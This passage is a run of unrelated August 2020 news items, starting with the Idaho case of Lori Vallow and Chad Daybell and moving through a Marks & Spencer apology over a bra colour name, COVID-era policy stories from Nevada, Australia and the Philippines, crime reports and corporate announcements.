backyard of Chad's home in Salem, Idaho, on June 9 Tylee Ryan, 16, and Joshua 'JJ' Vallow, seven, disappeared in September but were never reported missing by their mother or Chad, whom Lori married in early November Fremont County prosecutors played the phone call in court during Chad's preliminary hearing last week, where he faced two counts each for destruction or concealment of evidence and conspiracy to destroy or conceal evidence. He has pleaded not guilty. After Chad's hearing Lori waived her right to her own preliminary hearing and agreed to go straight to trial on charges of conspiracy to destroy or conceal evidence. LORI AND CHAD'S FINAL CALL Lori: 'Hi, babe.' Chad: 'Hello.' Lori: 'Are you okay?' Chad: 'No, they're searching the property.' Lori: 'The house right now?' Chad : 'Yeah, yeah [unintelligible]. So Mark Means will be talking to you.' Lori: 'Okay. What, are they in the house?' Chad: 'No, they're out in the property.' Lori: 'Are they seizing stuff again?' Chad: 'They're searching.' Chad: 'I'm glad you called.' Lori: 'Yeah.' Chad: 'So, we'll see what transpires.' Lori: 'Kay. What do you want me to do? Pray?' Chad: 'What?' Lori: 'What do you want me to' Chad: 'No, [speaking over Lori] I'm sorry. ' Lori: [Laughs.] Chad: 'I love you so much.' Lori: 'Okay. I love you. Should I try to call you later?' Chad: 'Um, I don't know. I, I don't know. Uh, you can try. Yeah. I'll answer if I can.' Lori: 'Okay.' Chad: 'I love you and we'll talk soon.' Lori: 'Okay, baby. I love you.' Chad: 'Okay. Love you. Goodbye.' Advertisement Lori is also facing three other charges in Madison County for misdemeanor resisting or obstructing officers, criminal solicitation to commit a crime, and contempt of court. Those charges were presented when she was first arrested back in February when the children remained missing. Parts of the three-minute phone call are difficult to understand from a recording inside the court room, but the overall tone of the conversation indicates that both Lori and Chad were unsettled by the search. 'Hi, babe,' Lori says cheerily. There's a moment of silence before Chad replies: 'Hello.' 'Are you okay?' Lori asks. 'No... they're searching the property,' Chad says in a shakey voice. 'The house right now?' Lori asks. Chad says 'yeah, yeah' and mumbles something unintelligible before telling Lori that her attorney, Mark Means, will be contacting her soon. 'Okay. What, are they in the house?' Lori asks. 'No, they're out in the property,' Chad says. There's another brief pause before Lori asks, in a notably tenser tone: 'Are they seizing stuff again?' 'They're searching,' Chad says before another prolonged silence. 'I'm glad you called.' 'Yeah,' Lori says. 'So, we'll see what transpires,' Chad says. 'Kay...' Lori says. 'What do you want me to do? Pray?' Chad struggles to understand Lori before they both speak over each other, causing her to let out a strained chuckle. He then tells her to call her attorney and that he needs to answer another phone call. 'I love you so much,' he says. 'Okay. I love you. Should I try to call you later?' Lori asks. 'Um, I don't know. I, I don't know,' Chad stammers. 'Uh, you can try. Yeah. I'll answer if I can.' Lori says okay, they exchange more 'love yous' and then hang up. That phone call marked the last known communication between Lori and Chad. Police are seen arresting Chad on June 9 - minutes after he hung up the phone with Lori Chad is seen in court on August 4, where an Idaho judge ruled his case will go to trial After Chad's hearing Lori waived her right to her own preliminary hearing and agreed to go straight to trial on charges of conspiracy to destroy or conceal evidence They are both now preparing to stand trial this fall as the one-year anniversary of the children's disappearance draws near. Tylee vanished on September 8, 2019, just days before her 17th birthday. Investigators said her body was burned and dismembered before being buried sometime the following day. JJ was last seen two weeks later on September 23. His body was wrapped in duct tape and plastic and buried the same day, investigators said. Authorities believe Lori's now-deceased brother Alex Cox brought the children's bodies to Chad's home to bury them. Chad turned 52 on Tuesday but likely won't see much of a celebration as he sits behind bars at the Fremont County Jail. East Idaho News journalist Nate Eaton reported that he'll be served freezer meals for breakfast and dinner, along with pot pies and sandwiches at lunch. The flights will be operated a Boeing 787 Dreamliner. Qatar Airways Group chief executive, Akbar Al Baker, said: We are pleased to resume flights to Lisbon, further expanding our European network. Lisbon is renowned for its extensive history and culture, boasting a rich artistic and gastronomic heritage and we look forward to support the recovery of its tourism and trade industries. Passengers from Portugal can also look forward to connecting seamlessly and safely via the Best Airport in the Middle East to more than 30 destinations across Africa, Asia-Pacific, the Middle East and South Asia. Marks & Spencer have apologised for describing a shade of bra in their lingerie line as 'tobacco', after receiving a complaint over the negative connotation the word carries. The popular British retailer told The Mirror they would drop the name of the bra colour, after being approached by the publication - two months after pharmaceutical clinical trials manager Kusi Kimani, 29, from East Sussex, first complained to the high street store in June. The website still currently has the popular 12 Padded Full Cup Bras on sale in three shades listed as 'Tobacco, Fudge and Cinnamon'. Marks & Spencer have apologised for describing a shade of bra in their lingerie line as 'tobacco', after receiving a complaint over the negative connotation the word carries Revealing that it felt 'particularly raw' as she noticed the description just two weeks after George Floyd's death, Ms Kimani told Mirror Online: 'Why not call it cocoa, caramel or chocolate - sweet dessert items? But they used tobacco. I was shocked when I saw it. 'It's hurtful to me and my friends. If a young girl who is already uncomfortable with the colour of her skin (sees it) she will be feeling even more alienated. 'To see that 'tobacco' is for their skin tone will make them feel unwanted by society. Tobacco is referred to in society as bad, unhealthy, and highly likely to kill - 'smoking kills'. Meanwhile, the lighter shades in the line are described as 'Fudge and Cinnamon'. The website still currently has the popular 12 Padded Full Cup Bras on sale in three shades listed as 'Tobacco, Fudge and Cinnamon' An email from M&S to Ms Kimani on June 10 said: 'The names we use are taken from those on a colour palette and were never designed to match to a skin tone - I would like to assure you the choice of names is absolutely not intended to carry any negative connotations. 'We review design trends in the market each year to ensure we are offering a fashionable palette to all our customers, and we are actively reviewing our naming convention in the light of the feedback we are receiving. 'We liaise with our store colleagues on a regular basis to determine which colours we need to offer our customer and we are also working with our BAME colleague network to receive their input too.' The retailer told FEMAIL that they are committed to being a 'truly inclusive place to shop', offering a wide range of sizes, shapes and colours and marketing them with a diverse group of models and appropriate wording. They said they are working with their BAME network on reviewing their range, and are in the process of removing the name Tobacco and writing to Kusi to update her. Meanwhile, the lighter shades in the line are described as 'Fudge and Cinnamon' An M&S spokesperson said, 'In June we shared our commitments to being a truly inclusive place to shop and work and were honest that we have more to do and more to learn. 'As part of this, we are reviewing our ranges, supported by our BAME network, to ensure we have lingerie items that are flattering and suitable for all customers. 'All of our product colour names have been taken from a design colour palette used across the industry, but we agree with Kusi. 'We are changing the name of the bra colour and are writing to Kusi to confirm that, and let her know that we're sorry for not moving faster.' The lack of integrity and the amount of fees existing platforms and services charge restaurants and the customer for that matter are too much, said Founder & CEO Rene Prats. Drive Kindness brand is more than just the consumer experience, but a unique delivery model designed to be a true partner to restaurant owners, drivers, franchisees and the communities it serves. Born from a positive place amidst COVID-19, Drive Kindnesss five pillars of success have one aim in mind to build a delivery service around kindness and transparency. Restaurant pays less Driver earns more Consumers receive a better value Give back to the community (2% of sales are donated to local food banks) Paying it forward through positive messaging with each delivery. Founder & CEO Rene Prats has over 30 years of experience in the restaurant industry, developing a unique understanding of delivery from his days as a Papa Johns franchisee, among other restaurant companies. The lack of integrity and the amount of fees existing platforms and services charge restaurants and the customer for that matter are too much, said Founder & CEO Rene Prats. This became glaringly apparent at the start of the COVID-19 pandemic, where restaurant owners were barely hanging on and yet were hit with increasing charges. Now more than ever, we need a delivery service focused on transparency that cares about the well-being of all those involved. This gold standard delivery software platform allows the restaurant to be front and center. The restaurant keeps all consumer data, markets directly to its consumer through coupons, video, a rewards program, and direct communication with driver and customer to give a great consumer experience. The consumer can also rate the experience. Drive Kindness is 100% customizable and not one-size-fits-all. The restaurant owner has total control of their own profit and loss statement. The orders are dispatched for delivery to Drive Kindness delivery fleet of drivers from the online ordering platform of the restaurant, website or POS (Point of Sale). The restaurant can also create an order from phone-in orders if not integrated. Drive Kindness is already integrated with many online platforms across the United States as well as POS (Point of Sale) systems that are used by multi-unit chains. The franchise model was selected to grow the concept because Drive Kindness believes having a franchise owner running the business in each community is better than having an employee of the franchisor. The focus is on helping local independent restaurants succeed and build up communities. Drive Kindness is the delivery conduit the restaurants want and need. Join the movement at http://www.drive-kindness.com Own a franchise for under $90,000 all in per territory. Follow us on Facebook @peoplesdelliverycompany and Instagram @drive_kindness Two high-ranking Iraqi officers were killed Tuesday in what the army said was a Turkish drone attack in the autonomous Kurdish region, where Ankara has for weeks been raiding militant positions. The strike killed the two border guard battalion commanders and the driver of their vehicle, the army said. A local official told AFP that the drone had struck as the officers "were in meetings with PKK (Kurdistan Workers' Party) fighters". The PKK is listed as a terrorist group by Turkey and its Western allies. Search Keywords: Short link: The Today show's weatherman Tim Davies has copped significant heat from frustrated viewers following his reports from idyllic, sun-soaked Queensland during the COVID-19 pandemic. The Sunshine State was quick to ban travellers from coronavirus-stricken Melbourne and recently closed the border to all New South Wales residents in a bid to slow the spread of the deadly respiratory virus. In stark contrast to the situation in Queensland, Victoria is under draconian stage-four lockdown restrictions, with residents required to wear a mask or face a $200 fine, after coronavirus cases spiralled during the state's second wave. Understandably, some Melburnians have taken offence to Tim's easygoing and carefree weather crosses, which also appear to double up as promotional tourism segments. Viewers have blasted Tim for enjoying yacht rides, road trips and blissful tours in the Whitsundays, Burleigh Heads and Noosa - despite these destinations being closed to visitors from Victoria, NSW and the Australian Capital Territory. (People from Western Australia and the Northern Territory can still travel to Queensland.) Scroll down for video Backlash: Today show weatherman Tim Davies (pictured) has copped significant heat from frustrated viewers over his reports from idyllic Queensland during the COVID-19 pandemic Tim hasn't been shy about documenting his travels across Queensland while filming weather segments for the Sydney-based Today show. On Monday, Tim shared a picturesque snap from the Whitsundays to Instagram, which he captioned: 'NEED AN ESCAPE FROM COVID HELL? Let me take you to a world away on @thetodayshow this week. 'Actually, I'm in our own backyard. "WHITSUNDAY WEATHER WEEK" will have you feeling adventurous, inspired, "fine and sunny" for when those borders re-open.' Many of his followers thought the post was insensitive, with one commenting: 'So this is supposed to make people in Melbourne feel any better?' One person relayed the harsh realities of living in Melbourne, saying: 'I'm so depressed with my 5km radius, curfew and being trapped in my house I think I'm taking a break from social media it makes me so sad.' Taking action: The Sunshine State was quick to ban travellers from coronavirus-stricken Melbourne and recently closed the border to all New South Wales residents in a bid to slow the spread of the deadly respiratory virus. Pictured: Cape Hillsborough Nature Tourist Park Grim: In stark contrast to the situation in Queensland, Victoria is under stage-four lockdown restrictions, with residents required to wear a mask or face a $200 fine, after coronavirus cases spiralled during the state's second wave. Pictured: Victorian Premier Daniel Andrews Another said: 'I kind of hate you right now Timmy, says me from Melbourne'. Someone else added: 'If only we could get out of Melbourne...' A Channel Nine representative told Daily Mail Australia: 'The viewer feedback we've received has been very positive. Tim has been presenting the weather in Queensland for more than a month before the state borders were closed. 'The segments feature locations to holiday in as well as communities doing their bit to support charities. 'With the weather being warmer and Queensland playing host to some of the world's most beautiful locations, the segments are an armchair traveller's dream and allow our viewers across Australia to plan where to eventually travel once we're allowed to.' 'Supposed to make us feel better?' Some Melburnians have taken offence to Tim's easygoing weather crosses, which also appear to double up as promotional tourism segments 'Kinda hate you right now': Viewers have blasted Tim for enjoying yacht rides, road trips and blissful tours in the Whitsundays, Burleigh Heads and Noosa - despite these destinations being closed to visitors from Victoria, NSW and the Australian Capital Territory Tim has been documenting his envy-inducing job on social media since arriving in Queensland a month ago. He recently uploaded a video montage of the highlights from his trip so far, in which he urged his followers to visit Queensland. 'We seriously have it all in our own backyard. Go see it for yourself sometime!' he said. The post confused some of his followers, including one Victorian who said they would have been in Burleigh Heads right now had it not been for the lockdown and border closures. 'Need an escape from COVID hell?' Tim has been documenting his envy-inducing job on social media since arriving in Queensland a month ago Documentation: He recently uploaded a video montage of the highlights from his trip so far Another commented: 'Oh this looks amazing... I'm stuck in Melbourne but maybe one day I'll be welcomed back.' On Tuesday morning, Victoria recorded 19 deaths and 331 new COVID-19 cases. The figure brings the state's coronavirus death toll to 247 and the national figure to 332. New daily case numbers have declined in Victoria since the peak of 725 on August 5. No San Francisco restaurant was quicker to reinvent itself in the face of the pandemic than Prairie. By March 16, the day San Francisco Mayor London Breed issued a shelter-in-place order, the Mission Italian spot had already transformed into a general store. But even pivoting this quickly couldn't save Prairie on Friday, the restaurant will close permanently, according to the San Francisco Chronicle. Chef and owner Anthony Strong explained that Prairie's conversion to a store that sold pantry staples such as pasta and beans as well as toilet paper and meal kits was never meant to be a permanent solution. A south Alabama man charged with killing his mother and burning her body has been found mentally competent for trial. Records show a psychologist determined Chad Brogdon, 36, can understand the legal system, but the expert wrote that Brogdon has a long history of drug abuse. Authorities allege Brogdon killed his mother, Penny Wilson Newton, at her home in Level Plains home on Mothers Day 2019. Her remains were later found burned beyond recognition in a car. A Dale County circuit judge has denied bond for Brogdon and his trial is set for Sept. 14, the Dothan Eagle reported. Brogdon has pleaded not guilty to murder and corpse abuse. Shaadi.com has partnered with MediBuddy-DocsApp to enable all its employees online consultation with health specialists and MD doctors. For the employees, it is a quick and easy way to cater to their own and their family members healthcare needs. Shaadi.com has been a front runner in availing new-age healthcare solutions like online doctor consultation for its employees across the nation. In the current lockdown scenario, getting medical assistance has been most challenging for our employees. And as our employees are our biggest asset, we at Shaadi.com are committed to assisting them in whatever way possible. With MediBuddy-DocsApp, our employees from across the country can avail medical assistance instantly through a phone call. It solves the problem of physical availability of doctors and we are happy to partner with them for this service., said P Ganesan, Vice President - HR, Shaadi.com The pandemic has caused upheaval across many aspects of daily life. With health taking center stage, companies, both large and small, are increasing their focus on employee health. The COVID-19 outbreak has pushed employers to focus on employee health and many organizations, like Shaadi.com, are enabling services that go beyond hospitalization benefits and include solutions like telemedicine. As Covid-19 cases continue to rise in India, one of the major problems faced by the general public is easy to access to doctors. With doctors being frontline warriors and an increasing number of healthcare professionals also contracting the virus, telemedicine has come in to address general healthcare needs. Through telemedicine, as doctor consultation takes place over the phone and video calls, servicing a large number of individuals, across a geographical spread, is not a problem. The growing popularity and acceptance of this form of healthcare is established by the fact that MediBuddy-DocsApp has seen an increase of 60% in people opting for online doctor consultations, across various specialties. With our healthcare platform, MediBuddy-DocsApp has been constantly striving to make quality medical assistance available to the majority of the public. With the COVID-19 pandemic, the need for a quick, easy, and efficient way of medical consultation is vital. Through MediBuddy-DocsApp, we aim at making healthcare support accessible to our customers across all specialities at a tap away., said Mr. Satish Kannan, Co-founder & CEO, MediBuddy-DocsApp. The MediBuddy-DocsApp platform enables employees to come online and avail healthcare services anytime they want for the entire family. It gives them the comfort to consult across 18 departments, for all healthcare-related issues no matter how minor or major. The acceptance and relevance of the platform and the service is reflected in the fact that over 66% of employees who have access to MediBuddy-DocsApp Gold have taken consultation for their family members as well. The MediBuddy-DocsApp platform offers multiple packages for organisations to choose from according to their requirements. From bulk consultations, COVID testing to assisting organizations in ensuring the complete safety of employees and workplaces with MediClinic. The most opted healthcare package by organizations is MediBuddy Gold. MediBuddy Gold is a subscription package designed to provide access to quality healthcare for employees of an organization and to the public at large. MediBuddy Gold allows for unlimited consultations from experienced health specialists and MD doctors via call or video across 18 departments like dermatology, weight management and gynaecology. The fact that consultations can be done in over 15 Indian languages is a big plus of the offering. Other benefits of the subscription are that people can avail free pick up of lab test samples as part of home sample collection, receive their reports online and even consult with an MD doctor on their test reports for free. Being able to order medicines online with free delivery at the doorstep across 20000 pin codes across India is also part of the subscription package. State-owned banks post lower profits due to quarantine finance ministry 22:20, 11.08.20 594 The loan portfolio of banks in the public sector has decreased by UAH 1.5 billion since year-start. CARSON CITY, Nev. - Gov. Steve Sisolak signed legislation Tuesday expanding workplace safety protections for hotel and casino employees and shielding businesses that follow health directives from coronavirus-related lawsuits. Its about acknowledging that Nevada relies heavily on the single industry the hospitality industry. In order to make it through this historic storm, he said. We must ensure that that industry survives. Lawmakers passed the dual-purpose bill on the final day of the Legislatures emergency special session last week, after negotiations and impassioned debate yielded amendments exempting hospitals and K-12 schools from liability protections. The law grants legal immunity to most businesses, nonprofits and government agencies as long as they follow health standards set by local, state and federal authorities and dont exhibit gross negligence. Sisolak said conditioning liability protections on adherence to health directives would help businesses reopen safely without endangering the states tourism industry and its reputation as a premier destination. He said the liability protections would prevent frivolous lawsuits, but underscored that they werent an impenetrable shield protecting businesses that expose workers and consumers to risk. This legislation does not provide total immunity to all businesses under all circumstances far from it, he said. Those inevitable bad actors that have ignored and continue to ignore our states directives and public health and safety protocols will not be protected from liability for those failures. Those bad actors will continue to face legal consequences. Bill Hornbuckle, the CEO and President of MGM Resorts, said the law offered an example to Congress, which is debating similar liability protections. Nevada managed to score a win-win that both protects workers and the public, while also providing protection and certainty to responsible businesses that the economy can continue growing and desperately needed jobs can be refilled, he said. The laws worker protection provisions mirror a proposal put forth by the Culinary Union Local 226 in honour of Adolfo Fernandez, a Caesars Palace porter who died from COVID-19 complications in late June after casinos reopened following a three-month shutdown. It requires health officials in Clark and Washoe counties to mandate that casinos, resorts and hotels offer testing and time off to employees exposed to coronavirus in the Reno and Las Vegas areas, and sets baseline cleaning standards for bars, hotel rooms, restrooms and elevators. The law comes a month after MGM Resorts International and the Culinary Union Local 226 agreed to drop MGM Resorts from a federal lawsuit and enter talks about safety concerns. The resort and union issued a joint statement Monday hailing the law as an important first step toward protection for casino workers, guests and the tourism industry. The COVID-19 pandemic presents unprecedented challenges in the workplace, they said. Fernandezs daughter Irma spoke emotionally about the bill and said her father would be proud. Even after he was diagnosed with COVID-19, she said he continued to fight for worker protections amid the pandemic. Everyone works hard to provide for their families and this will provide stronger safety precautions and protections for all casino and hospitality workers, she said. This is all my dad asked for. This was his very last wish. ___ Associated Press Writer Ken Ritter contributed reporting from Las Vegas. ___ Sam Metz is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a non-profit national service program that places journalists in local newsrooms to report on undercovered issues. Government Railway Police (GRP) SP Saumitra Yadav said the ATM was located near the entrance of the railway station on the Charbagh side An ATM at the Lucknow railway station caught fire on Tuesday morning, an official said, added that while the machine was damaged, no passenger was injured. Massive fire breaks out at Charbagh railway station, Lucknow. pic.twitter.com/SoXjOuoiju Himanshu Maurya (@Himanshu9506) August 11, 2020 Government Railway Police (GRP) SP Saumitra Yadav said the ATM was located near the entrance of the railway station on the Charbagh side. "Fire brigade personnel were informed and flames were controlled within 15 minutes," he said. Yadav said prima facie it seems a short circuit triggered the fire. "The matter is being investigated. The fire damaged the ATM but no passenger or any other person was injured," the SP added. When asked whether the currency kept in the ATM has been destroyed, Yadav said he does not have any information about this. MONROE TWP., MI A large amount of cocaine and cash were seized by narcotics investigators in a drug bust in Monroe Township Monday morning. Detectives with the Monroe Area Narcotics Team and Investigative Services unit, or MANTIS, executed a search warrant Monday, Aug. 10, at a home on Deerfield Street in Monroe Township as part of an ongoing investigation regarding the sale of cocaine, according to the Michigan State Police. During the raid, police seized more than 200 grams of cocaine from the residence and an unspecified large amount of cash, police said. Two handguns were also seized in the raid with one of the handguns found to have it serial number obliterated, police said. One suspect was arrested at the scene and is in custody awaiting multiple drug a weapon charges, police said. The narcotics investigation is ongoing. Anyone with information about the incident is asked to contact the MANTIS office at 734-240-2605. The Michigan State Police Canine Unit, MSP Monroe post and the Monroe Police Vice Unit assisted at the scene. More from The Ann Arbor News: Ann Arbor narrows down city administrator finalists to four Ann Arbor bars, restaurants can use streets for patio seating until September Heres how Ann Arbors back to school plans differ by grade levels Chief Minister Michael Gunner told the Australian Broadcasting Corporation Tuesday the Northern Territory would keep border restrictions in place for Aussie coronavirus hot spots for at least 18 months, stressing it's important to protect the NT's Aboriginal population. Driving the news: Victoria declared a disaster last week. The state confirmed Tuesday another 331 infections, taking the total number of active cases to 7880, and 19 more deaths equaling the national daily record it set the previous day. New South Wales (NSW) reported 22 new cases. The NT has three active cases. "We have got an indefinite ban on Victoria," Gunner said. He couldn't give a date on when the NT would ease restrictions on NSW capital Sydney as case numbers were "bubbling away." Flashback: Australia and New Zealand reopen after coronavirus cases plummet Metro Manila (CNN Philippines, August 11) The government on Tuesday released new health protocols for offices located in areas under modified enhanced community quarantine after health officials revealed clusters of COVID-19 transmission have been recorded in workplaces. Presidential spokesperson Harry Roque said the new guidelines include wearing of face masks and face shields at all times inside the company shuttle, adding government agencies will ensure there is enough stock of face shields in the market. Dining in in office canteens will also be prohibited, limiting options to packed meals and food deliveries. The government also ordered the closure of common smoking areas where workers tend to congregate. Roque said officials from the local government, Trade Department, and Labor Department will visit companies to check if employees are strictly observing minimum health standards, such as frequent hand washing, wearing of masks, and physical distancing. YEREVAN. I have no doubt that we will witness very serious political unions. Ara Vardanyan, former director of the Hayastan (Armenia) All Armenian Fund, told journalists about this Tuesday, speaking about the domestic political situation in the country. "What happened two years ago caused a very important damage to Armenia; it is that the majority of the citizens of the Republic of Armenia thought that they could be the Prime Minister of the Republic of Armenia. In reality, this is a very considerable reduction in the benchmark of the Prime Minister's institute," said Vardanyan. According to him, this is not a serious attitude towards Armenia and the people of Armenian, as striving for an official office will not make the country better, which, as he notes, we are already convinced of. As per Vardanyan, two years ago, the institution of the Prime Minister fell in Armenia because a personi.e. Nikol Pashinyanwho had no right to hold that office assumed the latter, and according to Ara Vardanyan, the public has already realized this. "Now there has come a point where, in my opinion, everyone has realized that not everyone can be prime minister. There is no separate force in Armenia that can compel these halls of power to leave; it must be done in a united fashion, with everyone," he said. Ara Vardanyan expressed a view that the time has come to unite, and these past two years were enough time to understand what legal and political processes are taking place in Armenia. "I have no doubt that we will witness very serious political unions, as a result of which the opposition arena will decide who will lead Armenia in the next few years," Ara Vardanyan concluded. President Muhammadu Buhari has signed the instrument of accession of the agreement for the establishment of the African Trade Insurance Agency. The Agreement and the Agency are registered with the Secretariat of the United Nations in accordance with Charter of the United Nations and is in cognizance of the fact that lack of adequate political, non-commercial and commercial risk insurance is a significant impediment to the availability of finance for investments in Africa and the expansion of African foreign trade and intra-Africa trade. The Agency when executed will acknowledge previous multilateral efforts made by African States towards regional economic integration through co-operation in trade liberalization and development so as to attain sustainable growth, promote economic activity and create an enabling environment for foreign trade, as well as cross-border and domestic investments. Recalling the economic objectives and aims of the African Union, there are several African Treaties on regional economic integration, including the Treaty Establishing the Common Market for Eastern and Southern Africa, the Treaty Establishing the Southern African Development Community and the Treaty Establishing the Economic Community of West African States. A memorandum from the Attorney General and Minister of Justice, Abubakar Malami, stated that the request for the Presidents signature on the agreement was sequel to the directive of the Federal Executive Council, that the instrument be prepared and forwarded for execution. The ratification was adopted at Grand Bay in the Republic of Mauritius on the Eighteenth Day of May, 2000. The object and purpose of the Agency is to provide, facilitate, encourage and otherwise develop the provision of, or the support for, insurance, including coinsurance and reinsurance, guarantees, and other financial instruments and services, for purposes of trade, investment and other productive activities in African States in supplement to those that may be offered by the public or private sector, or in cooperation with the public or private sector. The Fair Deal Scheme which helps elderly people pay for nursing-home care is riddled with unclear cost structures and is susceptible to funding shortfalls, a damning report has found. The countrys spending watchdog says it is 600 a week more expensive to care for a patient in a State-run facility than in a private home. Read More Despite the huge gap, the HSE has not carried out any formal analysis of the disparity. The Comptroller and Auditor General (C&AG) says it could not locate any criteria from the National Treatment Purchase Fund (NTPF) under which prices charged by operators are assessed. As a result, it is unclear how deals are negotiated. More than 23,000 older and vulnerable people avail of the Fair Deal Scheme which subsidises accommodation, bedding, food, nursing and personal care to assist with day-to-day living. It costs the State around 1bn a year. The C&AG also pointed out that funding issues now threaten new admissions to the Fair Deal Scheme. While private nursing care is routinely cheaper, the C&AG found many of these facilities later hit patients with extra charges for social activities and even incontinence wear. When signing up to the scheme, applicants agree to hand over 80pc of their current income and 7.5pc of the value of any assets per annum. The HSE then pays the balance of their care. Chief executive of the private body Nursing Homes Ireland (NHI) Tadhg Daly said the scathing report shows the Fair Deal Scheme is in need of urgent reform. The C&AG report says that between 2010 and 2018, the average weekly fee for a person in a public nursing homes was 1,564 - while that for a place in a private or voluntary home was 968. The price of a bed in a public home is more expensive in part because of historic costs when the scheme was first put in place, adjusted for the bed numbers and assumptions of occupancy. But the reasons have become obscured, while the HSE does not have a single integrated financial system. This means that "the process of identifying and isolating the historic costs relevant to the scheme is not straightforward," the C&AG says. Meanwhile, the C&AG notes a review of the national Fair Deal was carried out five years ago - but still hasn't been published. The total cost of the scheme is now nearly 1bn a year, not counting the estimated 345m from residents who must pay a proportion of their care costs - so that increases in the gross charge to the State also impacts on families. The report findings drew bitter criticism from umbrella groups for private nursing homes last night, while the C&AG pointed out that rising costs set against a fixed budget threatened new admissions to the Fair Deal. The C&AG criticises "unclear" cost structures, inconsistencies in approach, the lack of integrated financial management in the HSE and "on-the-job training for State negotiators with individual homes". Residents are required to make a contribution towards care costs, depending on their means, with the HSE contributing the balance. Financial support The State is now providing financial support for over 23,300 individuals. "The scheme is cash-limited which means that the HSE must restrict access if there is an expectation that available funding will be exhausted," said Comptroller Seamus McCarthy. "The risks in such circumstances are that persons who medically require long-term residential care do not receive it in a timely way - or that costs are borne instead by other parts of the health service, applicants and their families." The private body NHI said in response that Fair Deal now required urgent reform. It blasted the 'unfair' disparity between State-run and private or voluntary provision. Chief executive Mr Daly said: "Very serious questions arise from a 62pc differential in fees payable between State homes and their private counterparts." The report had brought to light the long-standing "poor practice and ineptitude" of the National Treatment Purchase Fund, which is the State body delegated to negotiate Fair Deal fees, he said. NHI is now demanding the Oireachtas examine the report as a priority, with the C&AG expected to be asked before the Public Accounts Committee to discuss his findings. Mr Daly said the evidence was that public homes were not subject to effective scrutiny and with a hiking of fees payable to its nursing homes "while residents in private nursing homes are inherently discriminated against". Mervyn Taylor, the head of Sage Advocacy, said the report "adds to our understanding of the dangerous architecture" of the Fair Deal scheme. The fees paid by residents, added to the contribution of the State, pointed to a total cost of 1.3bn annually, he said. Montreal, CA (H4T1V6) Today Snow this morning will give way to lingering snow showers this afternoon. Some sleet may mix in. High around -4C. Winds NE at 5 to 10 mph. Chance of snow 100%. 3 to 5 inches of snow expected.. Tonight Snow showers this evening. Becoming partly cloudy later. Low -16C. Winds W at 10 to 20 mph. Chance of snow 50%. KYODO NEWS - Aug 11, 2020 - 19:10 | World, All, Japan China called Tuesday on Japan not to meddle in the issue of its territory Hong Kong, hours after the neighbor's top government spokesman voiced concern over the arrests of prominent pro-democracy activists in the region. "No external forces are allowed to interfere" in Hong Kong, Chinese Foreign Ministry spokesman Zhao Lijian told reporters, adding, "We urge Japan to recognize the reality, understand the issue correctly, and stop interfering in China's internal affairs." On Monday, media mogul Jimmy Lai and activist Agnes Chow were among the 10 people arrested under the national security law for Hong Kong, which was enacted in late June to crack down on what Beijing views as subversive activity in its semiautonomous territory. Related coverage: Japanese come out in support of arrested Hong Kong activist Hong Kong media mogul, activists arrested over national security law China condemns foreign interference in Hong Kong democrats' arrests Japanese Chief Cabinet Secretary Yoshihide Suga said at a press conference in Tokyo on Tuesday morning, "It is important that Hong Kong develop democratically and in a stable manner" under the "one country, two systems" policy. The security legislation, enforced by the communist-led Chinese government, has been criticized for significantly eroding freedoms and human rights in the former British colony. Under China's "one country, two systems" principle, Hong Kong was promised it would enjoy the rights and freedoms for 50 years following its return to Chinese rule in 1997. Heat, sun, satisfactory river currents. The stars were aligned for an ideal start to tubing season in Central Texas last year. Tubers headed to New Braunfels to capture a day of fun in the sun at the Comal and Guadalupe rivers. Fast forward to Spring 2020 and a little thing called coronavirus threatened the annual tradition. However, river outfitters on the Guadalupe, Comal, and San Marcos rivers announced they would open for business with social distancing measures in place, per Gov. Greg Abbott's guidelines. Planning to hit the rios? Here's what you need to know for Memorial Day tubing this year. If this weekend seems #toosoon, just start planning your future excursion with our ultimate guide to tubing in Texas rivers. And get a little inspiration from the 2019 photos below. The Environment Agency Abu Dhabi (EAD), in collaboration with Bee Breeders, one of the world's leading architecture competition organisers, have announced the winners for two main competitions that were launched at the end of last year. The competitions included the design for two of UAE capital's major projects - the Abu Dhabi Flamingo Visitor Centre in the Al Wathba Wetlands Reserve and the Mega Dunes Ecolodge in the Arabian Oryx Protected Area. The top three winners of the Abu Dhabi Flamingo Visitor Centre include: Petr Janda, Anna Podrouzkova and Katerina Tsponova from the Czech republic in first place with a project called To See and Not Be Seen. In second place were Wenqi Huang and Yi Yan from the US with their project called Incubator. Laurent Herbiet and Giordana Rojas from Mexico with a project called The Dune clinched the third spot for the Abu Dhabi Flamingo Visitor Centre to be come up within the Al Wathba Wetland Reserve. Established in 1998, the Al Wathba Wetland Reserve is a nature reserve consisting of both natural and man-made bodies of water located 40 km southeast of central Abu Dhabi. Covering a total of 5 sq km, the wetlands comprise wetlands, sabkhas (salt flats), fossilized sands and dunes, and are densely packed with animal and plant life. The most spectacular of which is the flamingo population, who flock to the reserve in their thousands to enjoy the warmth during the winter months, with some remaining all year round. For Mega Dunes Ecolodge competition, the top three winners were: Giuseppe Ricupero, Egidio Cutillo, Stefania Schiro and Enrico Capanni from Italy with a project called Heritage Machine followed by Natalia Wrzask and Rolando Rodriguez-Leal from Mexico with The Rub' Al Khali Oculus project in theseciondf place. While in third place, the authors were: Ahmad Nouraldeen, Luca Fraccalvieri, Jana Semaan and Lama Barhoumi from Lebanon with their project - Desert Lens. The Mega Dunes Ecolodge will come up within the Arabian Oryx Protected Area, which is home to the largest population of Arabian Oryx in the world. Spanning over 5,900 sq km, it is located in the southern region of the UAE, bordering Saudi Arabia and Oman. The majority of the Arabian Oryx Protected Area consists of sand sheets and dunes, with some mega dunes and gravel plains with dwarf shrub vegetation located throughout the area. According to EAD, all the winners were selected on the basis of their designs being cost-effective, environmentally responsible and energy-efficient for remote areas with limited road access. "The participation in both these architectural competitions was exceptional. We received 237 design entries for the Flamingo Visitor Centre and 117 designs for the Mega Dunes Ecolodges," remarked Ahmed Al Hashemi, the acting executive director of the Terrestrial and Marine Biodiversity Sector. "Due to the presence of so many distinguished proposed projects, it was a challenge for the jury to select the final winners. The winning designs were all eco-friendly and aligned with the sustainability needs stipulated by EAD, as part of our vision of establishing green buildings in the emirate of Abu Dhabi," stated Al Hashimi. "EAD will work with the participants who have the winning designs to finalize the project designs and prepare them for any future executive work," he added.-TradeArabia News Service Media release Update to Gurit Financial Calendar: August 17 Analyst & Media Conference held as online event only Zurich, Switzerland, August 11, 2020 - Gurit (SIX Swiss Exchange: GUR) informs media representatives and financial analysts that contrary to Gurit's financial calendar published earlier, no physical analyst & media conference will be held in Zurich on August 17, 2020. On Monday, August 17, 2020 